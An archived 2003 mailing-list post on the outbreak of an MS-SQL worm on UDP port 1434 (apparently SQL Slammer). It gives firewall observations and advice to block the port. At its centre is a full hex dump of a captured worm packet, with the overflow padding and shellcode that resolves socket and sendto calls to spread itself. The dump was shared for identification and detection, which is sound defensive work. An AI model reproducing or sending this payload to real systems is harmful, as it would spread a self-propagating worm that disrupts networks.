Hi, This seems to have started for us about 4:30pm (GMT+11) today. Lucky for us we block all MS-SQL 1434/udp traffic. We have logged over 130,000 firewall blocked connections across 15 odd sites, and it's comming in from all over the world. I don't have any infected servers to study the habits of this worm, but the payload seems to always look pretty much like this. 8<---snip 20:56:02.115087 X.X.X.X.4178 > X.X.X.X.1434: [udp sum ok] udp 376 (ttl 109, id 46811) 0000: 4500 0194 b6db 0000 6d11 2e2d 89e5 0a9c E...¶Û..m..-.å.. 0010: cb08 07c7 1052 059a 0180 bda8 0401 0101 Ë..Ç.R....½¨.... 0020: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0030: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0040: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0050: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0060: 0101 0101 0101 0101 0101 0101 0101 0101 ................ 0070: 0101 0101 0101 0101 0101 0101 01dc c9b0 .............ÜÉ° 0080: 42eb 0e01 0101 0101 0101 70ae 4201 70ae Bë........p®B.p® 0090: 4290 9090 9090 9090 9068 dcc9 b042 b801 B........hÜÉ°B¸. 00a0: 0101 0131 c9b1 1850 e2fd 3501 0101 0550 ...1ɱ.Pâý5....P 00b0: 89e5 5168 2e64 6c6c 6865 6c33 3268 6b65 .åQh.dllhel32hke 00c0: 726e 5168 6f75 6e74 6869 636b 4368 4765 rnQhounthickChGe 00d0: 7454 66b9 6c6c 5168 3332 2e64 6877 7332 tTf¹llQh32.dhws2 00e0: 5f66 b965 7451 6873 6f63 6b66 b974 6f51 _f¹etQhsockf¹toQ 00f0: 6873 656e 64be 1810 ae42 8d45 d450 ff16 hsend¾..®B.EÔPÿ. 0100: 508d 45e0 508d 45f0 50ff 1650 be10 10ae P.EàP.EðPÿ.P¾..® 0110: 428b 1e8b 033d 558b ec51 7405 be1c 10ae B....=U.ìQt.¾..® 0120: 42ff 16ff d031 c951 5150 81f1 0301 049b Bÿ.ÿÐ1ÉQQP.ñ.... 0130: 81f1 0101 0101 518d 45cc 508b 45c0 50ff .ñ....Q.EÌP.EÀPÿ 0140: 166a 116a 026a 02ff d050 8d45 c450 8b45 .j.j.j.ÿÐP.EÄP.E 0150: c050 ff16 89c6 09db 81f3 3c61 d9ff 8b45 ÀPÿ..Æ.Û.ó<aÙÿ.E 0160: b48d 0c40 8d14 88c1 e204 01c2 c1e2 0829 ´..@...Áâ..ÂÁâ.) 0170: c28d 0490 01d8 8945 b46a 108d 45b0 5031 Â....Ø.E´j..E°P1 0180: c951 6681 f178 0151 8d45 0350 8b45 ac50 ÉQf.ñx.Q.E.P.E¬P 0190: ffd6 ebca ÿÖëÊ 8<---snip I would also recommend that all your IDS sensors get a new signature to record all outbound 1434/udp in case it sneaks into your networks via private links, etc. Regards, Ed. On Sat, 25 Jan 2003 6:11 pm, Michael Bacarella wrote: > I'm getting massive packet loss to various points on the globe. > I am seeing a lot of these in my tcpdump output on each > host. > > 02:06:31.017088 150.140.142.17.3047 > 24.193.37.212.ms-sql-m: udp 376 > 02:06:31.017244 24.193.37.212 > 150.140.142.17: icmp: 24.193.37.212 udp > port ms-sql-m unreachable [tos 0xc0 > > It looks like there's a worm affecting MS SQL Server which is > pingflooding addresses at some random sequence. > > All admins with access to routers should block port 1434 (ms-sql-m)! > > Everyone running MS SQL Server shut it the hell down or make > sure it can't access the internet proper! > > I make no guarantees that this information is correct, test it > out for yourself! -- "It is always possible to agglutinate multiple separate problems into a single complex interdependent solution. In most cases this is a bad idea." -- RFC-1925
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